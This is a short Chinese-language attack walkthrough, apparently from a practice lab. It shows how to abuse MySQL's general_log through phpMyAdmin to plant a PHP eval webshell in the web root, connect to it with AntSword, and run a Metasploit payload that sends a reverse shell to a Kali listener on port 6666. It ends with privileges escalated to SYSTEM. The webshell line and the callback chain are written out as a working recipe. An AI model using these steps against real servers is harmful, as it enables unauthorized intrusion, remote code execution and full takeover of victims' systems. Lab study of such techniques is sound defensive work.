本次实战直接以phpMyAdmin里进行sql语句操作
1.show variables like “general_log%”
将general_log改成ON就可以进行mysql日志输出保存了
将general_log_file改成能执行php的目录下,即网站目录下
查看我们修改后的配置
写入我们的一句话木马
select "<?php @eval($_REQUEST['cmd']);?>
在这里我们可以看到成功写入了
用蚁剑连接
接下来我们用msf进行提权,打开kali,这里的LHOST是kali的地址
生成木马后上传,然后kali监听6666号端口,然后用蚁剑执行exe
木马执行成功,成功反弹shell给msf
看一下身份
还是普通权限。接下来提权
成功获得system权限!!!